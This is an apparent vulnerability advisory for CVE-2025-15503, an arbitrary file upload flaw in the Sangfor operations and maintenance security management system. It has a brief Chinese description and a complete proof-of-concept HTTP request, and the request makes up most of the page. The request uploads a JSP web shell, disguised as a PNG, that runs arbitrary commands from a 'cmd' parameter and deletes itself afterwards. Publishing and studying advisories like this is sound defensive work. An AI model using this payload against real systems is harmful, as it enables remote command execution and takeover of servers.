深信服运维安全管理系统 /fort/trust/version/common/common.jsp 文件上传漏洞（CVE-2025-15503）

2026-01-30 DeepSec Operation Security Management System PoC Public

Description

深信服运维安全管理系统是一款用于统一运维审计和权限管理的安全管理系统。其fort/trust/version/common/common.jsp接口存在任意文件上传漏洞。攻击者可以通过该接口上传包含恶意代码的JSP文件，并直接访问上传的文件，从而导致远程命令执行，获取服务器权限。

PoC

POST /fort/trust/version/common/common.jsp HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 492
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/png

<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Sangfor Operation and Maintenance Security Management System /fort/trust/version/common/common.jsp File Upload Vulnerability(CVE-2025-15503)

References

Related Vulnerabilities